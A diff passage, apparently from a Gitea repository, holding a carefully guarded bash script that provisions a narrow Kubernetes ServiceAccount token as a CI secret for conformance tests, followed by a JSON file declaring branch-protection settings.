# --context NAME kube context to read the CA/server from (default: k3s-prod)
|
||||
# --duration D requested token lifetime (default: 720h = 30d)
|
||||
# -h | --help this text
|
||||
#
|
||||
# ON --server: the embedded server URL must be reachable FROM THE CI RUNNER POD, which is
|
||||
# not necessarily the address your workstation uses. The runner has broad egress and reaches
|
||||
# the kube-API VIP (per the plan: 192.168.1.49:6443). If your operator kubeconfig points at
|
||||
# a workstation-only name or a localhost tunnel, pass --server explicitly; the script warns
|
||||
# on a loopback server but cannot know your topology for you.
|
||||
#
|
||||
# ON TOKEN LIFETIME: this is a TokenRequest token and it EXPIRES. The API server may cap the
|
||||
# requested duration, so the script decodes the JWT `exp` claim and reports the ACTUAL
|
||||
# expiry rather than trusting --duration. Re-run this script to rotate. After expiry the
|
||||
# trigger gets 401 and the conformance stage FAILS (loudly) rather than skipping — which is
|
||||
# the correct direction, but put the expiry date in your calendar.
|
||||
#
|
||||
# DELIBERATELY NOT DONE: SOPS-sealing the token into secrets/conformance-trigger.sops.yaml
|
||||
# (plan §3 item 6's "for reproducibility/rotation"). A bearer token with a 30-day life
|
||||
# cannot usefully survive the branch -> PR -> review -> merge flow (CLAUDE.md §6), and
|
||||
# committing one buys re-issuance we get for free by re-running this script against the
|
||||
# live SA. If the operator still wants it sealed, that is a separate reviewed change.
|
||||
#
|
||||
# FORBIDDEN HERE, ON PURPOSE: no cluster-admin kubeconfig, no copy of the operator's own
|
||||
# kubeconfig, no widening of conformance/incluster/rbac.yaml, no mutating kubectl beyond the
|
||||
# TokenRequest itself, no `kubectl apply`.
|
||||
set -euo pipefail
|
||||
|
||||
# xtrace would print the token. Refuse rather than leak.
|
||||
case "$-" in
|
||||
*x*) echo "FATAL: refusing to run under 'set -x' — xtrace would print the token" >&2; exit 1 ;;
|
||||
esac
|
||||
umask 077
|
||||
|
||||
HOST=gitea.home.keithjackson.dev
|
||||
OWNER=Home-Network
|
||||
REPO=home-network-k3s-impl
|
||||
# Legal secret name: NOT prefixed GITEA_ (lesson 1), and the name the workflows already use.
|
||||
SECRET=CONFORMANCE_TRIGGER_KUBECONFIG
|
||||
VARIABLE=CLUSTER_AVAILABLE
|
||||
NS=conformance
|
||||
SA=conformance-trigger
|
||||
RUNNER_SA=conformance-runner
|
||||
POLICY=conformance-trigger-job-shape
|
||||
# The image prefix the admission policy admits. Kept in sync with
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml by the P2 check below.
|
||||
RUNNER_IMAGE_PREFIX='gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:'
|
||||
|
||||
KCTX=k3s-prod
|
||||
DURATION=720h
|
||||
DRY_RUN=false
|
||||
ARM=false
|
||||
SERVER_OVERRIDE=""
|
||||
|
||||
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
|
||||
|
||||
step() { printf '\n==> %s\n' "$*"; }
|
||||
info() { printf ' %s\n' "$*"; }
|
||||
warn() { printf ' WARN: %s\n' "$*" >&2; }
|
||||
die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
|
||||
|
||||
usage() {
|
||||
cat <<'USAGE'
|
||||
conformance-trigger-kubeconfig.sh — provision the narrow L2/L3 conformance CI trigger credential.
|
||||
|
||||
--dry-run measure every precondition; mint nothing, write nothing (read-only)
|
||||
--arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded + confirmed)
|
||||
--server URL API server URL to embed (default: the operator context's own;
|
||||
must be reachable FROM THE CI RUNNER POD — the kube-API VIP)
|
||||
--context NAME kube context to read the CA/server from (default: k3s-prod)
|
||||
--duration D requested token lifetime (default: 720h)
|
||||
-h | --help this text
|
||||
|
||||
Read the header of this file before running it: the CLUSTER_AVAILABLE guard, the split between
|
||||
mint-blocking and arm-blocking preconditions, and why nothing secret is ever printed.
|
||||
USAGE
|
||||
}
|
||||
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--dry-run) DRY_RUN=true ;;
|
||||
--arm-cluster-available) ARM=true ;;
|
||||
--server) SERVER_OVERRIDE="${2:?--server needs a URL}"; shift ;;
|
||||
--context) KCTX="${2:?--context needs a name}"; shift ;;
|
||||
--duration) DURATION="${2:?--duration needs a value}"; shift ;;
|
||||
-h|--help) usage; exit 0 ;;
|
||||
*) die "unknown argument: $1 (try --help)" ;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
if $DRY_RUN && $ARM; then die "--dry-run and --arm-cluster-available are contradictory"; fi
|
||||
|
||||
for t in kubectl jq curl git base64; do
|
||||
command -v "$t" >/dev/null || die "missing required tool: $t"
|
||||
done
|
||||
|
||||
WORK="$(mktemp -d)"
|
||||
KC="${WORK}/conformance-trigger.kubeconfig"
|
||||
cleanup() { rm -rf "$WORK"; }
|
||||
trap cleanup EXIT
|
||||
trap 'cleanup; exit 130' INT TERM
|
||||
|
||||
# ========================================================================================
|
||||
# 0. Gitea credentials — from the credential helper git already has for this host, exactly
|
||||
# as branch-protection.sh / set-ci-token.sh / require-gate.sh do. Never in argv: curl
|
||||
# reads them from a --config file descriptor.
|
||||
# ========================================================================================
|
||||
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||
U="$(sed -n 's/^username=//p' <<<"$creds")"
|
||||
P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||
unset creds
|
||||
[ -n "$U" ] && [ -n "$P" ] || die "no stored credential for ${HOST} (git credential fill returned nothing)"
|
||||
basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
||||
API="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
|
||||
|
||||
# ========================================================================================
|
||||
# 1. PRECONDITIONS — measured, never assumed (CLAUDE.md §2b: query the thing itself).
|
||||
# Two independent tallies, per the split documented in the header.
|
||||
# ========================================================================================
|
||||
MINT_FAIL=0
|
||||
ARM_FAIL=0
|
||||
pass() { printf ' [ ok ] %s\n' "$*"; }
|
||||
fail_mint() { printf ' [MINT-BLOCK] %s\n' "$*" >&2; MINT_FAIL=$((MINT_FAIL + 1)); }
|
||||
fail_arm() { printf ' [ARM-BLOCK] %s\n' "$*" >&2; ARM_FAIL=$((ARM_FAIL + 1)); }
|
||||
|
||||
step "preconditions — cluster side (these block the MINT: without them the token IS privileged)"
|
||||
|
||||
kubectl --context "$KCTX" get --raw /version >/dev/null 2>&1 \
|
||||
|| die "cannot reach the API server via context '${KCTX}' — nothing below can be measured"
|
||||
pass "API server reachable via context ${KCTX}"
|
||||
|
||||
# C1: the trigger identity exists (created by Flux from conformance/incluster/rbac.yaml via
|
||||
# clusters/base/conformance.yaml). We print object names only, never contents.
|
||||
if kubectl --context "$KCTX" -n "$NS" get serviceaccount "$SA" -o name >/dev/null 2>&1; then
|
||||
pass "ServiceAccount ${NS}/${SA} exists"
|
||||
else
|
||||
fail_mint "ServiceAccount ${NS}/${SA} is ABSENT — is the 'conformance' Flux Kustomization reconciled?"
|
||||
fi
|
||||
for kind in role rolebinding; do
|
||||
if kubectl --context "$KCTX" -n "$NS" get "$kind" "$SA" -o name >/dev/null 2>&1; then
|
||||
pass "${kind} ${NS}/${SA} exists"
|
||||
else
|
||||
fail_mint "${kind} ${NS}/${SA} is ABSENT — the token would authenticate but authorize nothing"
|
||||
fi
|
||||
done
|
||||
|
||||
# C2: THE SECURITY BOUNDARY. Present, Enforce, and Ready. Anything else and we do not mint.
|
||||
# `validationFailureAction: Audit` is not a boundary; an unready policy is not a boundary.
|
||||
if pol="$(kubectl --context "$KCTX" get clusterpolicy "$POLICY" -o json 2>/dev/null)"; then
|
||||
action="$(jq -r '.spec.validationFailureAction // .spec.rules[0].validate.failureAction // "UNSET"' <<<"$pol")"
|
||||
failpol="$(jq -r '.spec.failurePolicy // "UNSET"' <<<"$pol")"
|
||||
# Kyverno moved readiness from .status.ready to a Ready condition; accept either, and
|
||||
# treat "neither key present" as UNMEASURABLE -> block (fail closed, do not assume ready).
|
||||
ready="$(jq -r '
|
||||
if (.status.ready != null) then (.status.ready | tostring)
|
||||
elif (.status.conditions != null) then
|
||||
((.status.conditions[] | select(.type == "Ready") | .status) // "UNKNOWN")
|
||||
else "UNKNOWN" end' <<<"$pol")"
|
||||
info "ClusterPolicy ${POLICY}: validationFailureAction=${action} failurePolicy=${failpol} ready=${ready}"
|
||||
[ "$action" = "Enforce" ] || fail_mint "ClusterPolicy ${POLICY} is '${action}', not Enforce — the trigger would be unbounded"
|
||||
[ "$failpol" = "Fail" ] || fail_mint "ClusterPolicy ${POLICY} failurePolicy='${failpol}', not Fail — a Kyverno outage would admit arbitrary Jobs"
|
||||
case "$ready" in
|
||||
true|True) pass "ClusterPolicy ${POLICY} reports Ready" ;;
|
||||
*) fail_mint "ClusterPolicy ${POLICY} does not report Ready (got '${ready}') — refusing to assume it is loaded" ;;
|
||||
esac
|
||||
else
|
||||
fail_mint "ClusterPolicy ${POLICY} is ABSENT — plan §4's boundary does not exist; a token with 'create jobs' here can run arbitrary code as ${RUNNER_SA}"
|
||||
fi
|
||||
|
||||
step "preconditions — repo side (these block ONLY arming ${VARIABLE}; the secret may be stored first)"
|
||||
|
||||
# R1: the runner image is built and digest-pinned. Without it the Job cannot run run.sh at
|
||||
# all (the stock chainsaw image has no bash/python3/kubectl/git) — plan §3 item 1.
|
||||
VERSIONS="${REPO_ROOT}/conformance/versions.env"
|
||||
if grep -Eq '^[[:space:]]*CONFORMANCE_RUNNER_IMAGE=.*@sha256:[0-9a-f]{64}' "$VERSIONS" 2>/dev/null; then
|
||||
pass "CONFORMANCE_RUNNER_IMAGE is digest-pinned in conformance/versions.env"
|
||||
else
|
||||
fail_arm "conformance/versions.env has no digest-pinned CONFORMANCE_RUNNER_IMAGE (plan §3 item 1) — the Job cannot run ./run.sh"
|
||||
fi
|
||||
|
||||
# R2: the Job template is the real thing, not the skeleton: the admitted image AND an
|
||||
# init-container that populates the empty `workspace` volume with the suite at the PR SHA
|
||||
# (plan §3 item 2). A template whose image the policy will not admit is a guaranteed denial.
|
||||
JOBTPL="${REPO_ROOT}/conformance/incluster/chainsaw-job.yaml"
|
||||
if grep -q 'initContainers' "$JOBTPL" 2>/dev/null; then
|
||||
pass "chainsaw-job.yaml declares an initContainers block (workspace population)"
|
||||
else
|
||||
fail_arm "chainsaw-job.yaml has no initContainers — 'workspace' is an empty emptyDir and the suite is never delivered (plan §3 item 2)"
|
||||
fi
|
||||
if grep -q "$RUNNER_IMAGE_PREFIX" "$JOBTPL" 2>/dev/null; then
|
||||
pass "chainsaw-job.yaml uses the digest-pinned image the admission policy admits"
|
||||
else
|
||||
fail_arm "chainsaw-job.yaml does not use ${RUNNER_IMAGE_PREFIX}… — every triggered Job would be DENIED by ${POLICY}"
|
||||
fi
|
||||
|
||||
# R3: ci/conformance.sh actually drives the in-cluster Job. Today it mentions
|
||||
# CONFORMANCE_TRIGGER_KUBECONFIG only in a TODO comment and otherwise runs run.sh LOCALLY in
|
||||
# the CI job — where there is no credential at all (the runner sets
|
||||
# automountServiceAccountToken: false by design), so it can only scaffold-skip. Hence the
|
||||
# check must ignore comment lines: a mention in prose is not an implementation.
|
||||
#
|
||||
# ONE awk, NOT `grep -v … | grep -q …`: under `set -o pipefail` a successful `grep -q` exits
|
||||
# early, the upstream grep takes EPIPE, and the pipeline reports non-zero — which would read
|
||||
# here as "unwired" exactly when the seam IS wired. A single process cannot have that bug.
|
||||
CONF_STAGE="${REPO_ROOT}/ci/conformance.sh"
|
||||
if awk '!/^[[:space:]]*#/ && /CONFORMANCE_TRIGGER_KUBECONFIG/ { found = 1 } END { exit !found }' \
|
||||
"$CONF_STAGE" 2>/dev/null; then
|
||||
pass "ci/conformance.sh references CONFORMANCE_TRIGGER_KUBECONFIG in code (in-cluster trigger path wired)"
|
||||
else
|
||||
fail_arm "ci/conformance.sh mentions CONFORMANCE_TRIGGER_KUBECONFIG only in comments — the trigger path is UNIMPLEMENTED (plan §3 item 4); arming ${VARIABLE} now only changes which way the stage fails"
|
||||
fi
|
||||
|
||||
info ""
|
||||
info "precondition tally: mint-blocking failures=${MINT_FAIL} arm-blocking failures=${ARM_FAIL}"
|
||||
|
||||
if [ "$MINT_FAIL" -gt 0 ]; then
|
||||
cat >&2 <<EOF
|
||||
|
||||
REFUSING TO MINT. ${MINT_FAIL} cluster-side precondition(s) failed.
|
||||
|
||||
Minting a token for ${NS}/${SA} while the admission boundary is absent/Audit/unready hands CI
|
||||
an identity that can create a Job running as ${RUNNER_SA} (nodes/patch, pods/exec,
|
||||
namespaces/patch) with an arbitrary command. That is precisely the escalation
|
||||
docs/plans/l2-l3-conformance-ci-wiring.md §4 exists to close, and RBAC cannot close it.
|
||||
|
||||
Fix the cluster side first (reconcile platform/kyverno/admission/ and conformance/incluster/,
|
||||
confirm the ClusterPolicy is Enforce + Ready), then re-run. Nothing was created.
|
||||
EOF
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if $ARM && [ "$ARM_FAIL" -gt 0 ]; then
|
||||
cat >&2 <<EOF
|
||||
|
||||
REFUSING TO ARM ${VARIABLE}. ${ARM_FAIL} repo-side precondition(s) failed.
|
||||
|
||||
Measured 2026-09-29: with ${VARIABLE}=true and no working trigger path, conformance/run.sh
|
||||
scaffold-skips all 54 tests at rc 0 and ci/conformance.sh used to print
|
||||
"[ ok ] L2/L3 conformance passed" — a fake green on an enforcing required status check. The
|
||||
guard now in ci/conformance.sh turns that into exit 1 instead, so arming today does not
|
||||
enable L2/L3: it breaks every PR while proving nothing.
|
||||
|
||||
Land plan §3 items 1, 2 and 4 first. Re-run WITHOUT --arm-cluster-available to provision the
|
||||
secret in the meantime — that part is safe and is step 6's intended order.
|
||||
EOF
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if $DRY_RUN; then
|
||||
step "DRY RUN — stopping here. Nothing was minted, nothing was written."
|
||||
info "secret that WOULD be written: ${SECRET} (repo ${OWNER}/${REPO})"
|
||||
info "variable that WOULD be set: none — ${VARIABLE} is never touched in --dry-run"
|
||||
# Read-only visibility into what is already there. Gitea never returns secret VALUES.
|
||||
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')" || true
|
||||
info "existing Actions secret names: ${names:-<unreadable>}"
|
||||
cur="$(basic -o "${WORK}/var.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")" || true
|
||||
if [ "$cur" = 200 ]; then
|
||||
info "existing ${VARIABLE} = $(jq -r '.data // "<no data field>"' "${WORK}/var.json")"
|
||||
else
|
||||
info "existing ${VARIABLE}: not set (HTTP ${cur})"
|
||||
fi
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# ========================================================================================
|
||||
# 2. MINT the ServiceAccount token (TokenRequest). This is the only write this script makes
|
||||
# against the cluster, and it creates no durable object.
|
||||
# ========================================================================================
|
||||
step "minting a ServiceAccount token for ${NS}/${SA} (requested duration ${DURATION})"
|
||||
TOKEN="$(kubectl --context "$KCTX" -n "$NS" create token "$SA" --duration="$DURATION")" \
|
||||
|| die "kubectl create token failed for ${NS}/${SA}"
|
||||
[ -n "$TOKEN" ] || die "kubectl create token returned an empty token"
|
||||
info "got a ${#TOKEN}-character token (value NOT shown)"
|
||||
|
||||
# Report the ACTUAL expiry from the JWT rather than trusting --duration: the API server caps
|
||||
# TokenRequest lifetimes (--service-account-max-token-expiration) and silently shortens.
|
||||
jwt_exp() {
|
||||
local payload pad b64
|
||||
payload="$(cut -d. -f2 <<<"$1")"
|
||||
pad=$(( (4 - ${#payload} % 4) % 4 ))
|
||||
b64="$(tr '_-' '/+' <<<"$payload")$(printf '%*s' "$pad" '' | tr ' ' '=')"
|
||||
printf '%s' "$b64" | base64 -d 2>/dev/null | jq -r '.exp // empty' 2>/dev/null || true
|
||||
}
|
||||
exp="$(jwt_exp "$TOKEN")"
|
||||
if [ -n "$exp" ]; then
|
||||
info "token expires: $(date -u -d "@${exp}" '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "epoch ${exp}") — re-run this script to rotate"
|
||||
else
|
||||
warn "could not decode the token's exp claim; lifetime is UNVERIFIED (requested ${DURATION})"
|
||||
fi
|
||||
|
||||
# ========================================================================================
|
||||
# 3. ASSEMBLE the kubeconfig — SA token + cluster CA + server. Nothing else.
|
||||
#
|
||||
# The CA and the server URL are read from the operator's context, but the operator's
|
||||
# client certificate/key are NEVER copied: only .cluster fields are extracted. `config
|
||||
# view --raw` output is held in a variable and discarded, never printed.
|
||||
# Built with jq (not `kubectl config set-credentials --token=…`) so the token never
|
||||
# appears in argv where `ps` can see it.
|
||||
# ========================================================================================
|
||||
step "assembling the kubeconfig (SA token only — never cluster-admin, never the operator's)"
|
||||
raw="$(kubectl --context "$KCTX" config view --raw --minify -o json)" \
|
||||
|| die "could not read context '${KCTX}' from the operator kubeconfig"
|
||||
SERVER="$(jq -r '.clusters[0].cluster.server // empty' <<<"$raw")"
|
||||
CADATA="$(jq -r '.clusters[0].cluster["certificate-authority-data"] // empty' <<<"$raw")"
|
||||
CAFILE="$(jq -r '.clusters[0].cluster["certificate-authority"] // empty' <<<"$raw")"
|
||||
INSECURE="$(jq -r '.clusters[0].cluster["insecure-skip-tls-verify"] // false | tostring' <<<"$raw")"
|
||||
unset raw
|
||||
|
||||
[ -n "$SERVER" ] || die "context '${KCTX}' has no cluster.server"
|
||||
if [ -n "$SERVER_OVERRIDE" ]; then
|
||||
info "overriding server ${SERVER} -> ${SERVER_OVERRIDE}"
|
||||
SERVER="$SERVER_OVERRIDE"
|
||||
fi
|
||||
case "$SERVER" in
|
||||
*localhost*|*127.0.0.1*|*://0.0.0.0*)
|
||||
die "server '${SERVER}' is loopback — the CI runner pod cannot reach it. Pass --server with the address the runner uses (the kube-API VIP)." ;;
|
||||
esac
|
||||
if [ -z "$CADATA" ] && [ -n "$CAFILE" ]; then
|
||||
[ -r "$CAFILE" ] || die "certificate-authority file '${CAFILE}' is not readable"
|
||||
CADATA="$(base64 -w0 <"$CAFILE")"
|
||||
fi
|
||||
[ -n "$CADATA" ] || die "no cluster CA available for '${KCTX}' (insecure-skip-tls-verify=${INSECURE}); refusing to emit a kubeconfig that trusts anything"
|
||||
[ "$INSECURE" = "false" ] || die "context '${KCTX}' sets insecure-skip-tls-verify; refusing to propagate that into CI"
|
||||
info "server: ${SERVER}"
|
||||
info "CA: ${#CADATA} base64 characters embedded (public certificate, not a secret)"
|
||||
|
||||
jq -n --arg srv "$SERVER" --arg ca "$CADATA" --arg tok "$TOKEN" --arg ns "$NS" --arg sa "$SA" '
|
||||
{
|
||||
apiVersion: "v1",
|
||||
kind: "Config",
|
||||
clusters: [ { name: "conformance", cluster: { server: $srv, "certificate-authority-data": $ca } } ],
|
||||
users: [ { name: $sa, user: { token: $tok } } ],
|
||||
contexts: [ { name: "conformance", context: { cluster: "conformance", user: $sa, namespace: $ns } } ],
|
||||
"current-context": "conformance"
|
||||
}' >"$KC"
|
||||
chmod 600 "$KC"
|
||||
info "kubeconfig written to the temp dir: $(wc -c <"$KC") bytes (content NOT shown)"
|
||||
|
||||
# Prove kubectl can PARSE the file we generated (JSON is valid YAML, but assert it rather
|
||||
# than assume it) — this prints only the server we already printed.
|
||||
parsed="$(kubectl --kubeconfig "$KC" config view -o jsonpath='{.clusters[0].cluster.server}')" \
|
||||
|| die "kubectl cannot parse the generated kubeconfig"
|
||||
[ "$parsed" = "$SERVER" ] || die "generated kubeconfig parses to server '${parsed}', expected '${SERVER}'"
|
||||
pass "kubectl parses the generated kubeconfig"
|
||||
|
||||
# ========================================================================================
|
||||
# 4. PROVE it is the narrow identity. Two independent proofs:
|
||||
# a) who the token authenticates AS (SelfSubjectReview)
|
||||
# b) an allow/deny matrix (SelfSubjectAccessReview) — both halves matter: "can create
|
||||
# jobs" proves it works, "cannot get secrets / delete jobs / exec" proves it is not
|
||||
# something wider that happens to include the trigger rights.
|
||||
# All read-only. `auth can-i` answers from the API server's own authorizer.
|
||||
# ========================================================================================
|
||||
step "verifying the credential is the NARROW trigger identity"
|
||||
EXPECT_USER="system:serviceaccount:${NS}:${SA}"
|
||||
if who="$(kubectl --kubeconfig "$KC" auth whoami -o jsonpath='{.status.userInfo.username}' 2>/dev/null)"; then
|
||||
[ "$who" = "$EXPECT_USER" ] || die "token authenticates as '${who}', expected '${EXPECT_USER}' — WRONG CREDENTIAL, nothing stored"
|
||||
pass "authenticates as ${who}"
|
||||
else
|
||||
warn "'kubectl auth whoami' unavailable (older kubectl / SelfSubjectReview denied) — identity UNVERIFIED by this check; the matrix below still constrains it"
|
||||
fi
|
||||
|
||||
# A real authorization round-trip, not just a review: `list jobs` is granted by the Role.
|
||||
kubectl --kubeconfig "$KC" -n "$NS" get jobs -o name >/dev/null \
|
||||
|| die "the minted credential cannot list Jobs in ns ${NS} — the RoleBinding is not effective; nothing stored"
|
||||
pass "can list Jobs in ns ${NS} (end-to-end authentication + authorization)"
|
||||
|
||||
cani() { # cani <expected yes|no> <verb> <resource...>
|
||||
local want="$1"; shift
|
||||
local got
|
||||
got="$(kubectl --kubeconfig "$KC" auth can-i "$@" 2>/dev/null || true)"
|
||||
case "$got" in
|
||||
yes|no) : ;;
|
||||
*) die "auth can-i '$*' returned '${got:-<nothing>}' — cannot measure the identity's rights; refusing to store an unverified credential" ;;
|
||||
esac
|
||||
if [ "$got" = "$want" ]; then
|
||||
pass "can-i $* -> ${got} (expected)"
|
||||
else
|
||||
die "can-i $* -> ${got}, expected ${want}. This credential is NOT the narrow trigger identity described in conformance/incluster/rbac.yaml. Nothing stored. Do NOT widen that Role to make this pass — investigate what it is actually bound to."
|
||||
fi
|
||||
}
|
||||
# Granted by the trigger Role (create/get/list/watch jobs; get/list/watch pods + pods/log).
|
||||
cani yes create jobs.batch -n "$NS"
|
||||
cani yes get pods -n "$NS"
|
||||
cani yes get pods/log -n "$NS"
|
||||
# Explicitly NOT granted — each is a specific escape route the Role's comments call out.
|
||||
cani no delete jobs.batch -n "$NS" # a trigger that can delete can hide a failed run
|
||||
cani no create pods/exec -n "$NS" # no execution channel into the runner pod
|
||||
cani no get secrets -n "$NS"
|
||||
cani no create jobs.batch -n default # namespaced Role: no reach outside ns conformance
|
||||
cani no get nodes # the RUNNER has nodes/patch; the trigger must not
|
||||
cani no '*' '*' --all-namespaces # not cluster-admin, stated as a measurement
|
||||
|
||||
# ========================================================================================
|
||||
# 5. STORE as the Gitea Actions repo secret, then VERIFY BY READING IT BACK (lesson 2).
|
||||
# The body goes in a 0600 file so the token is not in argv.
|
||||
# ========================================================================================
|
||||
step "storing the kubeconfig as repo Actions secret ${SECRET}"
|
||||
jq -n --rawfile d "$KC" '{data:$d}' >"${WORK}/body.json"
|
||||
chmod 600 "${WORK}/body.json"
|
||||
code="$(basic -o "${WORK}/put.out" -w '%{http_code}' -X PUT \
|
||||
-H 'Content-Type: application/json' --data @"${WORK}/body.json" \
|
||||
"${API}/actions/secrets/${SECRET}")"
|
||||
unset TOKEN
|
||||
rm -f "${WORK}/body.json" "$KC"
|
||||
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
|
||||
# Safe to echo: the response body is Gitea's error message, not our payload. HTTP 400
|
||||
# "invalid secret name" here means the name hit the reserved GITEA_ prefix (lesson 1).
|
||||
die "PUT ${SECRET} failed: HTTP ${code} -- $(head -c 300 "${WORK}/put.out" 2>/dev/null)"
|
||||
fi
|
||||
info "PUT returned HTTP ${code}"
|
||||
|
||||
# curl -sS exits 0 on an HTTP error, so the status check above is necessary but NOT
|
||||
# sufficient: read the object back. Gitea never returns secret VALUES, so this proves
|
||||
# PRESENCE BY NAME only — say so rather than implying the content was checked.
|
||||
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
|
||||
grep -q "$SECRET" <<<"$names" \
|
||||
|| die "PUT reported HTTP ${code} but ${SECRET} is NOT in ${names} — refusing to claim success"
|
||||
pass "stored and VERIFIED PRESENT by read-back: ${names}"
|
||||
info "(read-back proves the secret EXISTS; Gitea never returns secret values, so its CONTENT"
|
||||
info " is proven only by the first CI run that uses it — see the NOTE below.)"
|
||||
info ""
|
||||
info "FOR WHOEVER WRITES plan §3 item 4: this secret holds the kubeconfig CONTENT, not a path."
|
||||
info "The plan's sketch writes 'kubectl --kubeconfig=\$CONFORMANCE_TRIGGER_KUBECONFIG', which"
|
||||
info "would treat it as a filename. ci/conformance.sh must write the env var into a 0600 temp"
|
||||
info "file (umask 077, trap-removed) and pass THAT path — an Actions secret is a string, so a"
|
||||
info "kubeconfig cannot reach CI any other way."
|
||||
|
||||
# ========================================================================================
|
||||
# 6. vars.CLUSTER_AVAILABLE — the loaded gun. Only here, only on request, only confirmed.
|
||||
# ========================================================================================
|
||||
if ! $ARM; then
|
||||
cat <<EOF
|
||||
|
||||
==> ${VARIABLE} NOT TOUCHED (no --arm-cluster-available). This is the safe default.
|
||||
|
||||
The secret is in place; the conformance job stays gated off until the variable is set. That
|
||||
is plan §5's order: land items 1-6, prove them, and only then flip step 7's switch.
|
||||
EOF
|
||||
else
|
||||
step "arming vars.${VARIABLE}=true — every precondition above is green"
|
||||
cat <<EOF
|
||||
This makes .gitea/workflows/gate.yml's conformance job RUN on every PR. If the
|
||||
in-cluster trigger path misbehaves, ci/conformance.sh will BLOCK (exit 1) rather than
|
||||
fake a green — so the failure mode is loud PRs, not silent false confidence. Undo with:
|
||||
curl -X DELETE .../repos/${OWNER}/${REPO}/actions/variables/${VARIABLE}
|
||||
EOF
|
||||
[ -t 0 ] || die "refusing to arm ${VARIABLE} non-interactively — this needs a human confirmation"
|
||||
printf ' Type exactly "ARM %s" to proceed: ' "$VARIABLE"
|
||||
read -r confirm
|
||||
[ "$confirm" = "ARM ${VARIABLE}" ] || die "not confirmed (got '${confirm}') — ${VARIABLE} unchanged. The secret IS stored."
|
||||
|
||||
# Gitea's variables API: POST creates, PUT updates, and the body field is `value` — NOT
|
||||
# `data` as in the secrets API above. Try create, fall back to update. The value "true" is
|
||||
# not a secret, so response bodies are printed here to make a failure diagnosable.
|
||||
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X POST \
|
||||
-H 'Content-Type: application/json' --data '{"value":"true"}' \
|
||||
"${API}/actions/variables/${VARIABLE}")"
|
||||
if [ "$vcode" != 201 ] && [ "$vcode" != 204 ]; then
|
||||
info "POST returned HTTP ${vcode} ($(head -c 200 "${WORK}/var.out" 2>/dev/null)); trying PUT (variable may already exist)"
|
||||
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X PUT \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data "$(jq -n --arg n "$VARIABLE" '{name:$n,value:"true"}')" \
|
||||
"${API}/actions/variables/${VARIABLE}")"
|
||||
fi
|
||||
[ "$vcode" = 201 ] || [ "$vcode" = 204 ] \
|
||||
|| die "could not set ${VARIABLE}: HTTP ${vcode} -- $(head -c 300 "${WORK}/var.out" 2>/dev/null)"
|
||||
info "write returned HTTP ${vcode}"
|
||||
|
||||
# Unlike a secret, a variable's value IS readable — so verify the VALUE, not just presence.
|
||||
# gate.yml compares `vars.CLUSTER_AVAILABLE == 'true'`, so it must be exactly "true".
|
||||
gcode="$(basic -o "${WORK}/varget.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")"
|
||||
[ "$gcode" = 200 ] || die "stored HTTP ${vcode} but GET ${VARIABLE} returned HTTP ${gcode} — refusing to claim success"
|
||||
val="$(jq -r '.data // .value // empty' "${WORK}/varget.json")"
|
||||
[ "$val" = "true" ] || die "${VARIABLE} reads back as '${val}', not 'true' — gate.yml compares against 'true' exactly"
|
||||
pass "${VARIABLE}=${val} stored and VERIFIED by read-back"
|
||||
fi
|
||||
|
||||
cat <<EOF
|
||||
|
||||
NEXT — and none of it is proven until you watch it happen:
|
||||
1. Open a THROWAWAY PR. Read the conformance job's LOG, not its tick: a skipped Gitea job
|
||||
reports success ("Has been skipped"), and a green tick is not evidence anything ran.
|
||||
2. Confirm a Job appeared in ns ${NS}, ran the touched --requirements subset, and that its
|
||||
artifacts came back. Then break an L3 test deliberately and confirm the gate BLOCKS.
|
||||
3. Only after seeing BOTH directions should the conformance check be added to branch
|
||||
protection (infra/gitea/require-gate.sh's status_check_contexts).
|
||||
4. Diary the token expiry printed above. Re-run this script to rotate; CI fails loudly
|
||||
(401 on the trigger) rather than skipping when it lapses.
|
||||
|
||||
ROLLBACK: DELETE the ${VARIABLE} variable (instant SKIP, gate reverts to L0/L1-only) and/or
|
||||
DELETE the ${SECRET} secret. The token itself is revoked by deleting the ${NS}/${SA}
|
||||
ServiceAccount, which Flux will recreate with a fresh identity.
|
||||
EOF
|
||||
@@ -0,0 +1,20 @@
|
||||
{
|
||||
"_comment": "DECLARED desired state of Gitea branch protection on main. ci/gitea-settings.sh fails the merge gate when the LIVE Gitea diverges from this. Gitea settings live in Gitea database - invisible to Flux, unreadable by every other check - so this file plus that check are the only drift detection that exists for them.",
|
||||
"_generated": "2026-09-29 from the live rule, after the session that found protection OFF and zero runners for a month",
|
||||
"branch": "main",
|
||||
"runners_online_min": 1,
|
||||
"protection": {
|
||||
"enable_push": false,
|
||||
"enable_push_whitelist": false,
|
||||
"enable_merge_whitelist": false,
|
||||
"enable_status_check": true,
|
||||
"status_check_contexts": [
|
||||
"gate / gate (pull_request)"
|
||||
],
|
||||
"required_approvals": 1,
|
||||
"enable_approvals_whitelist": false,
|
||||
"block_admin_merge_override": true,
|
||||
"block_on_rejected_reviews": true,
|
||||
"dismiss_stale_approvals": true
|
||||
}
|
||||
}
|
||||
Loaded 100 of 174 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user